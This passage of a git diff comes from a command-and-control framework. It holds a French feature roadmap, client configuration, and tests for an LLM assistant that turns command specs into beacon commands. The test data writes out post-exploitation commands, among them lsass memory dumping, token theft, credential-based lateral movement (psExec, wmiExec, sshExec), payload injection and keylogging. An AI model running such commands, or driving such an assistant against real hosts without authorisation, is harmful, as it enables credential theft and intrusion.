Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | +| 16 | [x] | Reduire la taille des artefacts `screenShot` | M | Moyen | Fait cote code. Format unique PNG: le module Windows encode en PNG via GDI+ avant chunking, le TeamServer force `format=png`, ajoute `.png` si l'extension est omise et rejette les autres extensions. Specs, tests et catalogue mis a jour. Validation reelle Windows a refaire pour mesurer le gain exact. | +| 17 | [x] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Fait. `QCompleter` supprime cote client; Terminal, consoles beacon, Hooks et Assistant utilisent `CompletionInput`, une liste integree au layout avec Tab, Shift+Tab, fleches, Enter et clic. Les placeholders dynamiques console (``, ``) restent geres proprement. | +| 18 | [x] | Auditer `libSocks5` | M | Fort | Fait. Audit documente dans `docs/socks5-audit.md`; durcissement du handshake IPv4-only, erreurs SOCKS explicites (`0x07`, `0x08`), timeout de handshake, port de reply en network order, logs bruyants retires, flags atomiques et tests protocole auto `TestsSocksServer`. Hostname/IPv6 restent dans l'item 24. | +| 19 | [-] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Non retenu. Les formulaires depuis schemas assistant sont abandonnes au profit d'une source unique basee sur `CommandSpecs` / `ListCommands`. | +| 20 | [-] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Non retenu pour le moment. Les besoins de capabilities seront re-evalues apres la synchronisation assistant/CommandSpecs et les prochains changements proto réellement necessaires. | +| 21 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | +| 22 | [x] | Synchroniser l'assistant avec `CommandSpecs` / `ListCommands` | L | Tres fort | Fait. Les schemas JSON locaux de l'assistant sont supprimes; les tools C2 sont generes au demarrage depuis `ListCommands`, avec `command_template` canonique dans les `CommandSpecs` et un tool `getCommandHelp` branche sur le RPC serveur. L'assistant construit ses schemas/outils depuis les arguments, exemples, plateformes, artefacts et templates serveur. Tests assistant mis a jour et couverture ajoutée pour verifier que chaque CommandSpec repo expose un template assistant-renderable. | +| 23 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | +| 24 | [x] | Supporter les hostnames SOCKS5 cote beacon | L | Tres fort | Fait cote code. `libSocks5` accepte `ATYP=DName`, le TeamServer transporte `host:` vers la beacon, la beacon resout/connecte depuis son contexte, IPv4 reste compatible, les echecs d'init renvoient un reply SOCKS type au lieu d'un EOF. Tests auto `TestsSocksServer`; validation live `scripts/socks5_stress_test.py --socks-hostname` a refaire sur beacon. | +| 25 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 26 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 27 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | +| 28 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 29 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 30 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 31 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 32 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 33 | [ ] | Simplifier l'usage des outils complexes via l'assistant | L | Tres fort | Ajouter des workflows guides pour les commandes a forte friction (`assemblyExec`, `inject`, `dotnetExec`, `pwSh`, SOCKS, dropper/hosted): choix progressif des options, verification des pre-requis, usage de `listLoadedModules`, aide CommandSpec, selection d'artefacts, generation d'une commande finale relue avant execution. | + +## Details `.env` + +La gestion `.env` est une bonne direction parce qu'elle reduit la friction de lancement et evite de disperser la config entre CLI, variables shell, assistant et chemins locaux. Le comportement recommande: + +- Priorite: arguments CLI > variables d'environnement deja presentes > fichier `C2_ENV_FILE` > `.env` du cwd > `C2Client/.env` > defaults internes. +- Ne jamais versionner `C2Client/.env`; garder seulement `C2Client/.env.example`. +- Charger `.env` une seule fois au demarrage, puis exposer la config active dans la barre de statut sans afficher les secrets. +- Resoudre les chemins de `.env` depuis le dossier du fichier `.env`, pour que `C2_CERT_PATH=../TeamServer/server.crt` fonctionne. +- Masquer `C2_PASSWORD`, `OPENAI_API_KEY`, tokens GitHub/listener et autres secrets dans tous les logs/UI. + +Variables client a centraliser: + +```dotenv +# TeamServer connection +C2_IP=127.0.0.1 +C2_PORT=50051 +C2_DEV_MODE=false +C2_CERT_PATH= +C2_USERNAME= +C2_PASSWORD= + +# Generated protocol +C2_PROTOCOL_PYTHON_ROOT= + +# Client UI +C2_UI_THEME=dark +C2_SESSION_REFRESH_MS=2000 +C2_SESSION_STALE_AFTER_MS=30000 +C2_LISTENER_REFRESH_MS=2000 +C2_GRAPH_REFRESH_MS=2000 +C2_LOG_DIR= +C2_LOG_LEVEL=WARNING + +# gRPC +C2_GRPC_CONNECT_TIMEOUT_MS=10000 +C2_GRPC_MAX_MESSAGE_MB=512 + +# Assistant +OPENAI_API_KEY= +C2_ASSISTANT_MODEL=gpt-4.1-mini +C2_ASSISTANT_MEMORY_MODEL=gpt-4.1-mini +C2_ASSISTANT_TEMPERATURE=0.05 +C2_ASSISTANT_MEMORY_TEMPERATURE=0.05 +C2_ASSISTANT_MAX_TOOL_CALLS=10 +C2_ASSISTANT_PENDING_TIMEOUT_MS=120000 + +# Local modules +C2_DROPPER_MODULES_DIR= +C2_SHELLCODE_MODULES_DIR= +``` + +## Proposition de phases + +1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. +2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. +3. Phase 3: items 17 a 26. Contrat client-server propre pour capabilities, commandes, erreurs, SOCKS5 et artefacts generes par flux. +4. Phase 4: items 27 a 33. Fonctionnalites operationnelles avancees, credential store serveur, audit, reduction du polling et workflows assistants pour les usages complexes. diff --git a/C2Client/pyproject.toml b/C2Client/pyproject.toml index 6d450bd..7d0b0a6 100644 --- a/C2Client/pyproject.toml +++ b/C2Client/pyproject.toml @@ -13,7 +13,7 @@ dependencies = [ "PyQt6==6.7.0", "pyqtdarktheme", "protobuf==6.33.5", - "gitpython==3.1.47", + "gitpython==3.1.50", "requests==2.33.0", "pwn==1.0", "pefile==2024.8.26", @@ -42,8 +42,7 @@ C2Client = [ "DropperModules.conf", "ShellCodeModules.conf", "assistant_agent/prompts/system/*.md", - "assistant_agent/prompts/memory/*.md", - "assistant_agent/tools/schemas/*.json" + "assistant_agent/prompts/memory/*.md" ] [project.scripts] diff --git a/C2Client/requirements.txt b/C2Client/requirements.txt index de8e574..faa7f35 100644 --- a/C2Client/requirements.txt +++ b/C2Client/requirements.txt @@ -3,7 +3,7 @@ grpcio==1.78.0 PyQt6==6.7.0 pyqtdarktheme protobuf==6.33.5 -gitpython==3.1.47 +gitpython==3.1.50 requests==2.33.0 pwn==1.0 pefile==2024.8.26 diff --git a/C2Client/tests/assistant_agent/helpers.py b/C2Client/tests/assistant_agent/helpers.py new file mode 100644 index 0000000..5387514 --- /dev/null +++ b/C2Client/tests/assistant_agent/helpers.py @@ -0,0 +1,48 @@ +from __future__ import annotations + +from types import SimpleNamespace + + +def arg( + name: str, + *, + arg_type: str = "text", + required: bool = False, + description: str = "", + values: list[str] | None = None, + variadic: bool = False, + artifact: bool = False, +): + return SimpleNamespace( + name=name, + type=arg_type, + required=required, + description=description or name, + values=values or [], + variadic=variadic, + artifact_filters=[SimpleNamespace(category="tool")] if artifact else [], + ) + + +def command_spec( + name: str, + command_template: str, + args: list | None = None, + *, + description: str | None = None, + examples: list[str] | None = None, +): + return SimpleNamespace( + name=name, + display_name=name, + kind="module", + description=description or f"{name} command", + target="beacon", + requires_session=True, + platforms=["windows", "linux"], + archs=["any"], + args=args or [], + examples=examples or [], + source="test", + command_template=command_template, + ) diff --git a/C2Client/tests/assistant_agent/test_command_builder.py b/C2Client/tests/assistant_agent/test_command_builder.py index 7a6a889..9b4e818 100644 --- a/C2Client/tests/assistant_agent/test_command_builder.py +++ b/C2Client/tests/assistant_agent/test_command_builder.py @@ -3,110 +3,155 @@ import pytest from C2Client.assistant_agent.tools.command_builder import build_command_line -from C2Client.assistant_agent.tools.loader import C2ToolSpec, load_tool_specs +from C2Client.assistant_agent.tools.command_specs import command_spec_to_tool_spec +from helpers import arg, command_spec -def spec_by_name(name: str) -> C2ToolSpec: - return {spec.name: spec for spec in load_tool_specs()}[name] + +def tool_spec(command): + return command_spec_to_tool_spec(command) def test_build_command_line_quotes_paths_with_spaces(): - assert build_command_line(spec_by_name("cat"), {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Users\\Public\\notes.txt"}) == "cat C:\\Users\\Public\\notes.txt" - assert build_command_line(spec_by_name("ls"), {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Program Files"}) == 'ls "C:\\Program Files"' + cat = tool_spec(command_spec("cat", "cat {path:q}", [arg("path", arg_type="path", required=True)])) + ls = tool_spec(command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")])) + + assert build_command_line(cat, {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Users\\Public\\notes.txt"}) == "cat C:\\Users\\Public\\notes.txt" + assert build_command_line(ls, {"beacon_hash": "b", "listener_hash": "l", "path": "C:\\Program Files"}) == "ls 'C:\\Program Files'" def test_build_command_line_supports_raw_command_tail(): + run = tool_spec(command_spec("run", "run {command:raw}", [arg("command", required=True, variadic=True)])) + assert build_command_line( - spec_by_name("run"), + run, {"beacon_hash": "b", "listener_hash": "l", "command": "whoami /all"}, ) == "run whoami /all" def test_build_command_line_omits_empty_optional_argument(): + enumerate_shares = tool_spec(command_spec("enumerateShares", "enumerateShares {host:q?}", [arg("host")])) + ls = tool_spec(command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")])) + assert build_command_line( - spec_by_name("enumerateShares"), + enumerate_shares, {"beacon_hash": "b", "listener_hash": "l", "host": ""}, ) == "enumerateShares" assert build_command_line( - spec_by_name("ls"), + ls, {"beacon_hash": "b", "listener_hash": "l"}, ) == "ls" def test_build_command_line_supports_optional_flag_segments(): + dcom_exec = tool_spec( + command_spec( + "dcomExec", + "dcomExec -h {h:q} -c {c:q} [-a {a:q}] [-n {n:flag}]", + [ + arg("-h", required=True), + arg("-c", required=True), + arg("-a"), + arg("-n"), + ], + ) + ) + assert build_command_line( - spec_by_name("dcomExec"), + dcom_exec, { "beacon_hash": "b", "listener_hash": "l", - "hostname": "host1", - "command": "cmd.exe", - "arguments": "/c whoami", - "no_password": True, + "h": "host1", + "c": "cmd.exe", + "a": "/c whoami", + "n": True, }, - ) == 'dcomExec -h host1 -c cmd.exe -a "/c whoami" -n' - assert build_command_line( - spec_by_name("screenShot"), - {"beacon_hash": "b", "listener_hash": "l"}, - ) == "screenShot" + ) == "dcomExec -h host1 -c cmd.exe -a '/c whoami' -n" def test_build_command_line_rejects_missing_required_argument(): + cat = tool_spec(command_spec("cat", "cat {path:q}", [arg("path", arg_type="path", required=True)])) + with pytest.raises(KeyError): - build_command_line(spec_by_name("cat"), {"beacon_hash": "b", "listener_hash": "l"}) + build_command_line(cat, {"beacon_hash": "b", "listener_hash": "l"}) @pytest.mark.parametrize( - ("name", "arguments", "expected"), + ("command", "arguments", "expected"), [ - ("assemblyExec", {"action": "thread"}, "assemblyExec thread"), - ("cat", {"path": "C:\\Temp\\a.txt"}, "cat C:\\Temp\\a.txt"), - ("cd", {"path": "C:\\Users\\Public"}, "cd C:\\Users\\Public"), - ("chisel", {"binary_path_or_action": "stop", "pid": 1234}, "chisel stop 1234"), - ("cimExec", {"hostname": "host1", "command": "cmd.exe", "arguments": "/c whoami"}, 'cimExec -h host1 -c cmd.exe -a "/c whoami"'), - ("coffLoader", {"coff_file": "whoami.x64.o", "function_name": "go", "packed_arguments": "Zs c:\\ 0"}, "coffLoader whoami.x64.o go Zs c:\\ 0"), - ("dcomExec", {"hostname": "host1", "command": "cmd.exe", "working_dir": "C:\\Windows"}, "dcomExec -h host1 -c cmd.exe -w C:\\Windows"), - ("dotnetExec", {"action": "runDll", "module_name": "lib", "method_name": "Run", "arguments": "arg1 arg2"}, "dotnetExec runDll lib Run arg1 arg2"), - ("download", {"remote_path": "C:\\Temp\\a.txt", "local_path": "/tmp/a.txt"}, "download C:\\Temp\\a.txt /tmp/a.txt"), - ("enumerateRdpSessions", {"server": "fileserver"}, "enumerateRdpSessions -s fileserver"), - ("enumerateShares", {"host": "fileserver"}, "enumerateShares fileserver"), - ("evasion", {"action": "ReadMemory", "address": "0x1234", "value": "16"}, "evasion ReadMemory 0x1234 16"), - ("getEnv", {}, "getEnv"), - ("inject", {"payload_type": "-d", "input_file": "payload.dll", "pid": 4242, "method": "Run", "arguments": "a b"}, "inject -d payload.dll 4242 Run a b"), - ("ipConfig", {}, "ipConfig"), - ("kerberosUseTicket", {"ticket_file": "/tmp/ticket.kirbi"}, "kerberosUseTicket /tmp/ticket.kirbi"), - ("keyLogger", {"action": "start"}, "keyLogger start"), - ("killProcess", {"pid": 4242}, "killProcess 4242"), - ("listProcesses", {}, "ps"), - ("loadModule", {"module_to_load": "whoami.dll"}, "loadModule whoami.dll"), - ("ls", {}, "ls"), - ("makeToken", {"username": "DOMAIN\\user", "password": "Password123!"}, "makeToken DOMAIN\\user Password123!"), - ("miniDump", {"action": "dump", "path": "lsass.xored"}, "miniDump dump lsass.xored"), - ("mkDir", {"path": "C:\\Temp\\new dir"}, 'mkDir "C:\\Temp\\new dir"'), - ("netstat", {}, "netstat"), - ("powershell", {"command": "whoami | write-output"}, "powershell whoami | write-output"), - ("psExec", {"auth_mode": "-u", "username": "DOMAIN\\user", "password": "pw", "target": "host1", "service_file": "svc.exe"}, "psExec -u DOMAIN\\user pw host1 svc.exe"), - ("pwSh", {"action": "run", "command": "Get-Process"}, "pwSh run Get-Process"), - ("pwd", {}, "pwd"), - ("registry", {"operation": "set", "root_key": "HKLM", "sub_key": "Software\\Acme", "value_name": "Path", "value_data": "C:/Temp", "value_type": "REG_SZ"}, "registry set -h HKLM -k Software\\Acme -n Path -d C:/Temp -t REG_SZ"), - ("remove", {"path": "C:\\Temp\\old.txt"}, "remove C:\\Temp\\old.txt"), - ("rev2self", {}, "rev2self"), - ("reversePortForward", {"remote_port": 8080, "local_host": "127.0.0.1", "local_port": 80}, "reversePortForward 8080 127.0.0.1 80"), - ("run", {"command": "whoami /all"}, "run whoami /all"), - ("screenShot", {}, "screenShot"), - ("script", {"script_path": "/tmp/test.sh"}, "script /tmp/test.sh"), - ("shell", {"command": "ls -la"}, "shell ls -la"), - ("spawnAs", {"domain": "DOMAIN", "username": "user", "password": "pw", "net_only": True, "command": "cmd.exe /c whoami"}, "spawnAs -d DOMAIN --netonly user pw -- cmd.exe /c whoami"), - ("sshExec", {"host": "host1", "username": "user", "password": "pw", "command": "id"}, "sshExec -h host1 -u user -p pw -- id"), - ("stealToken", {"pid": 4242}, "stealToken 4242"), - ("taskScheduler", {"command": "cmd.exe", "arguments": "/c whoami", "skip_run": True, "keep_task": True}, 'taskScheduler -c cmd.exe -a "/c whoami" --no-run --nocleanup'), - ("tree", {}, "tree"), - ("upload", {"local_path": "/tmp/a.txt", "remote_path": "C:\\Temp\\a.txt"}, "upload /tmp/a.txt C:\\Temp\\a.txt"), - ("whoami", {}, "whoami"), - ("winRm", {"auth_mode": "-n", "target": "host1", "command": "whoami"}, "winRm -n host1 whoami"), - ("wmiExec", {"auth_mode": "-k", "dc": "dc1", "target": "host1", "command": "whoami"}, "wmiExec -k dc1 host1 whoami"), + ( + command_spec( + "assemblyExec", + "assemblyExec [--mode {mode}] [--donut-exe {donut_exe:q}] [--method {method:q}] [-- {arguments:raw}]", + [ + arg("--mode", values=["thread", "process"]), + arg("--donut-exe", artifact=True), + arg("--method"), + arg("arguments", variadic=True), + ], + ), + {"mode": "process", "donut_exe": "Rubeus.exe", "arguments": "triage"}, + "assemblyExec --mode process --donut-exe Rubeus.exe -- triage", + ), + ( + command_spec( + "inject", + "inject --pid {pid} [--donut-exe {donut_exe:q}] [-- {arguments:raw}]", + [ + arg("--pid", arg_type="number", required=True), + arg("--donut-exe", artifact=True), + arg("arguments", variadic=True), + ], + ), + {"pid": -1, "donut_exe": "BeaconHttp.exe", "arguments": "arg1 arg2"}, + "inject --pid -1 --donut-exe BeaconHttp.exe -- arg1 arg2", + ), + ( + command_spec( + "registry", + "registry {operation} -h {h:q} -k {k:q} [-n {n:q}]", + [ + arg("operation", values=["query", "set"], required=True), + arg("-h", required=True), + arg("-k", required=True), + arg("-n"), + ], + ), + {"operation": "query", "h": "HKCU", "k": "Software\\C2", "n": "Smoke"}, + "registry query -h HKCU -k Software\\C2 -n Smoke", + ), + ( + command_spec( + "spawnAs", + "spawnAs [--no-profile {no_profile:flag}] {username:q} {password:q} -- {command:raw}", + [ + arg("--no-profile"), + arg("username", required=True), + arg("password", required=True), + arg("command", required=True, variadic=True), + ], + ), + {"no_profile": True, "username": ".\\c2test", "password": "pw", "command": "cmd.exe /c whoami"}, + "spawnAs --no-profile .\\c2test pw -- cmd.exe /c whoami", + ), + ( + command_spec( + "sshExec", + "sshExec -h {h:q} [-P {P}] -u {u:q} -p {p:q} -- {command:raw}", + [ + arg("-h", required=True), + arg("-P", arg_type="number"), + arg("-u", required=True), + arg("-p", required=True), + arg("command", required=True, variadic=True), + ], + ), + {"h": "server", "P": 2222, "u": "admin", "p": "pw", "command": "/bin/id"}, + "sshExec -h server -P 2222 -u admin -p pw -- /bin/id", + ), ], ) -def test_build_command_lines_cover_core_module_init_forms(name, arguments, expected): +def test_build_command_lines_from_command_spec_templates(command, arguments, expected): arguments = {"beacon_hash": "b", "listener_hash": "l", **arguments} - assert build_command_line(spec_by_name(name), arguments) == expected + assert build_command_line(tool_spec(command), arguments) == expected diff --git a/C2Client/tests/assistant_agent/test_command_help_tool.py b/C2Client/tests/assistant_agent/test_command_help_tool.py new file mode 100644 index 0000000..c25a08b --- /dev/null +++ b/C2Client/tests/assistant_agent/test_command_help_tool.py @@ -0,0 +1,68 @@ +from __future__ import annotations + +from types import SimpleNamespace + +from C2Client.assistant_agent.tools.command_help_tool import C2CommandHelpTool +from C2Client.grpcClient import TeamServerApi_pb2 + + +class StubGrpc: + def __init__(self): + self.requests = [] + self.reject = False + + def getCommandHelp(self, request): + self.requests.append(request) + if self.reject: + return SimpleNamespace(status=TeamServerApi_pb2.KO, message="Unknown command.", help="") + return SimpleNamespace(status=TeamServerApi_pb2.OK, message="", help="sleep\nUsage: sleep ") + + +def test_command_help_tool_calls_teamserver_help_rpc(): + grpc = StubGrpc() + tool = C2CommandHelpTool(grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + "command": "sleep", + }, + context=None, + ) + + assert result.ok is True + assert "Usage: sleep" in result.content + assert grpc.requests[0].session.beacon_hash == "beacon-12345678" + assert grpc.requests[0].session.listener_hash == "listener-12345678" + assert grpc.requests[0].command == "help sleep" + + +def test_command_help_tool_can_fetch_specific_help_without_session_hashes(): + grpc = StubGrpc() + tool = C2CommandHelpTool(grpc) + + result = tool.execute({"command": "screenShot"}, context=None) + + assert result.ok is True + assert grpc.requests[0].session.beacon_hash == "" + assert grpc.requests[0].session.listener_hash == "" + assert grpc.requests[0].command == "help screenShot" + + +def test_command_help_tool_returns_teamserver_error(): + grpc = StubGrpc() + grpc.reject = True + tool = C2CommandHelpTool(grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + "command": "missing", + }, + context=None, + ) + + assert result.ok is False + assert result.content == "Unknown command." diff --git a/C2Client/tests/assistant_agent/test_command_specs.py b/C2Client/tests/assistant_agent/test_command_specs.py new file mode 100644 index 0000000..5452001 --- /dev/null +++ b/C2Client/tests/assistant_agent/test_command_specs.py @@ -0,0 +1,104 @@ +from __future__ import annotations + +import json +import re +from pathlib import Path +from types import SimpleNamespace + +import pytest + +from C2Client.assistant_agent.tools.command_specs import command_arg_property_name, command_spec_to_tool_spec, load_command_tool_specs + +from helpers import arg, command_spec + +_PLACEHOLDER_RE = re.compile(r"\{(?P[A-Za-z_][A-Za-z0-9_]*)(?::(?:raw|q|flag))?\??\}") + + +class StubGrpc: + def __init__(self, commands): + self.commands = commands + self.queries = [] + + def listCommands(self, query): + self.queries.append(query) + return iter(self.commands) + + +def test_command_specs_are_loaded_from_teamserver_list_commands(): + grpc = StubGrpc( + [ + command_spec("whoami", "whoami"), + command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")]), + ] + ) + + specs = load_command_tool_specs(grpc) + + assert [spec.name for spec in specs] == ["ls", "whoami"] + assert len(grpc.queries) == 1 + assert all(spec.command_template for spec in specs) + + +def test_command_spec_tool_schema_is_derived_from_template_and_args(): + spec = command_spec_to_tool_spec( + command_spec( + "assemblyExec", + "assemblyExec [--mode {mode}] [--donut-exe {donut_exe:q}] [-- {arguments:raw}]", + [ + arg("--mode", values=["thread", "process"]), + arg("--donut-exe", arg_type="artifact", artifact=True), + arg("source_path", arg_type="path", required=True), + arg("arguments", variadic=True), + ], + examples=["assemblyExec --mode process --donut-exe Rubeus.exe -- triage"], + ) + ) + + assert spec.parameters["required"] == ["beacon_hash", "listener_hash"] + assert spec.parameters["properties"]["mode"]["enum"] == ["thread", "process"] + assert "donut_exe" in spec.parameters["properties"] + assert "source_path" not in spec.parameters["properties"] + assert "TeamServer" in spec.description or "Template:" in spec.description + + +def test_command_spec_rejects_missing_command_template(): + with pytest.raises(ValueError, match="command_template"): + command_spec_to_tool_spec(command_spec("ls", "")) + + +def test_command_arg_property_names_are_stable_for_flags(): + assert command_arg_property_name(arg("--donut-exe")) == "donut_exe" + assert command_arg_property_name(arg("-P")) == "P" + assert command_arg_property_name(arg("remote_path")) == "remote_path" + + +def test_repository_command_specs_have_assistant_render_templates(): + repo_root = Path(__file__).resolve().parents[3] + paths = sorted((repo_root / "core/modules").glob("*/*.json")) + paths += sorted((repo_root / "core/modules/ModuleCmd/CommandSpecs/common").glob("*.json")) + + assert paths + for path in paths: + payload = json.loads(path.read_text(encoding="utf-8")) + template = str(payload.get("command_template", "")).strip() + assert template, f"{path} is missing command_template" + assert template.split()[0] == payload["name"], f"{path} template must start with the command name" + + arg_properties = { + command_arg_property_name(SimpleNamespace(name=arg_payload.get("name", ""))) + for arg_payload in payload.get("args", []) + } + unknown = { + match.group("name") + for match in _PLACEHOLDER_RE.finditer(template) + if match.group("name") not in arg_properties + } + assert not unknown, f"{path} has template placeholders without matching args: {sorted(unknown)}" + + placeholders = {match.group("name") for match in _PLACEHOLDER_RE.finditer(template)} + omitted_required = { + arg_payload.get("name", "") + for arg_payload in payload.get("args", []) + if arg_payload.get("required") and command_arg_property_name(SimpleNamespace(name=arg_payload.get("name", ""))) not in placeholders + } + assert omitted_required <= {"source_path"}, f"{path} omits required args from template: {sorted(omitted_required)}" diff --git a/C2Client/tests/assistant_agent/test_command_tool.py b/C2Client/tests/assistant_agent/test_command_tool.py index 0189d8a..36b6d44 100644 --- a/C2Client/tests/assistant_agent/test_command_tool.py +++ b/C2Client/tests/assistant_agent/test_command_tool.py @@ -3,14 +3,20 @@ from types import SimpleNamespace from C2Client.assistant_agent.tools.command_tool import C2CommandTool -from C2Client.assistant_agent.tools.loader import load_tool_specs +from C2Client.assistant_agent.tools.command_specs import command_spec_to_tool_spec from C2Client.grpcClient import TeamServerApi_pb2 +from helpers import arg, command_spec + class StubGrpc: def __init__(self): self.commands = [] self.reject = False + self.modules = [ + SimpleNamespace(name="ls", state="loaded"), + SimpleNamespace(name="whoami", state="loaded"), + ] def sendSessionCommand(self, command): self.commands.append(command) @@ -18,9 +24,16 @@ def sendSessionCommand(self, command): return SimpleNamespace(status=TeamServerApi_pb2.KO, message="Session not found.") return SimpleNamespace(status=TeamServerApi_pb2.OK, message=b"", command_id=command.command_id) + def listModules(self, session): + return iter(self.modules) + def spec_by_name(name): - return {spec.name: spec for spec in load_tool_specs()}[name] + commands = { + "ls": command_spec("ls", "ls {path:q?}", [arg("path", arg_type="path")]), + "whoami": command_spec("whoami", "whoami"), + } + return command_spec_to_tool_spec(commands[name]) def test_c2_command_tool_sends_command_and_returns_pending(): @@ -37,11 +50,11 @@ def test_c2_command_tool_sends_command_and_returns_pending(): ) assert result.pending is True - assert result.metadata["command_line"] == 'ls "C:\\Program Files"' + assert result.metadata["command_line"] == "ls 'C:\\Program Files'" assert result.metadata["command_id"] assert grpc.commands[0].session.beacon_hash == "beacon-12345678" assert grpc.commands[0].session.listener_hash == "listener-12345678" - assert grpc.commands[0].command == 'ls "C:\\Program Files"' + assert grpc.commands[0].command == "ls 'C:\\Program Files'" assert grpc.commands[0].command_id == result.metadata["command_id"] @@ -61,3 +74,23 @@ def test_c2_command_tool_returns_error_when_command_is_rejected(): assert result.ok is False assert result.pending is False assert result.content == "Session not found." + + +def test_c2_command_tool_rejects_unloaded_module_before_sending(): + grpc = StubGrpc() + grpc.modules = [] + tool = C2CommandTool(spec_by_name("ls"), grpc) + + result = tool.execute( + { + "beacon_hash": "beacon-12345678", + "listener_hash": "listener-12345678", + "path": "C:\\Program Files", + }, + context=None, + ) + + assert result.ok is False + assert result.pending is False + assert "loadModule ls" in result.content + assert grpc.commands == [] diff --git a/C2Client/tests/assistant_agent/test_domain_hooks.py b/C2Client/tests/assistant_agent/test_domain_hooks.py index 667e26e..aba61ad 100644 --- a/C2Client/tests/assistant_agent/test_domain_hooks.py +++ b/C2Client/tests/assistant_agent/test_domain_hooks.py @@ -15,6 +15,7 @@ def test_domain_hooks_render_sessions_and_recent_observations(): privilege="high", os_name="windows", ) + hooks.record_active_session(beacon_hash="beacon", listener_hash="listener") for index in range(12): hooks.record_console_observation( beacon_hash="beacon", @@ -25,6 +26,93 @@ def test_domain_hooks_render_sessions_and_recent_observations(): rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + assert "Active selected session: short_beacon=beacon, beacon_hash=beacon" in rendered assert "beacon_hash=beacon" in rendered assert "cmd-2" in rendered assert "command=cmd-1," not in rendered + + +def test_domain_hooks_do_not_keep_killed_session_active(): + hooks = C2DomainHooks() + hooks.record_session_event( + action="start", + beacon_hash="beacon", + listener_hash="listener", + hostname="host", + username="user", + arch="x64", + privilege="high", + os_name="windows", + ) + hooks.record_active_session(beacon_hash="beacon", listener_hash="listener") + + hooks.record_session_event( + action="update", + beacon_hash="beacon", + listener_hash="listener", + hostname="host", + username="user", + arch="x64", + privilege="high", + os_name="windows", + killed=True, + ) + + rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + + assert "Active selected session: none" in rendered + assert "Killed sessions are invalid targets" in rendered + + +def test_domain_hooks_use_only_live_session_as_effective_active_session(): + hooks = C2DomainHooks() + hooks.record_session_event( + action="start", + beacon_hash="mzBlbIj35qewE7Rpa51oRltFoaNahMJB", + listener_hash="listener", + hostname="host", + username="user", + arch="x64", + privilege="medium", + os_name="windows", + ) + + rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + + assert "Active selected session: short_beacon=mzBlbIj3" in rendered + assert "Use this session for current beacon/current session requests" in rendered + assert "Match short operator references like `mz`" in rendered + + +def test_domain_hooks_use_recent_live_console_observation_as_effective_active_session(): + hooks = C2DomainHooks() + hooks.record_session_event( + action="start", + beacon_hash="old", + listener_hash="listener-old", + hostname="old-host", + username="user", + arch="x64", + privilege="medium", + os_name="windows", + ) + hooks.record_session_event( + action="start", + beacon_hash="new", + listener_hash="listener-new", + hostname="new-host", + username="user", + arch="x64", + privilege="medium", + os_name="windows", + ) + hooks.record_console_observation( + beacon_hash="new", + listener_hash="listener-new", + command="ls", + output="ok", + ) + + rendered = hooks.build_system_prompt_blocks(settings=None, session_manager=None)[0] + + assert "Active selected session: short_beacon=new, beacon_hash=new" in rendered diff --git a/C2Client/tests/assistant_agent/test_module_state_tool.py b/C2Client/tests/assistant_agent/test_module_state_tool.py new file mode 100644 index 0000000..640a6ec --- /dev/null +++ b/C2Client/tests/assistant_agent/test_module_state_tool.py @@ -0,0 +1,45 @@ +from __future__ import annotations + +from types import SimpleNamespace + +from C2Client.assistant_agent.tools.module_state_tool import C2LoadedModulesTool, has_loaded_module + + +class StubGrpc: + def __init__(self): + self.sessions = [] + self.modules = [ + SimpleNamespace(name="ls", state="loaded"), + SimpleNamespace(name="pwd", state="loading"), + ] + + def listModules(self, session): + 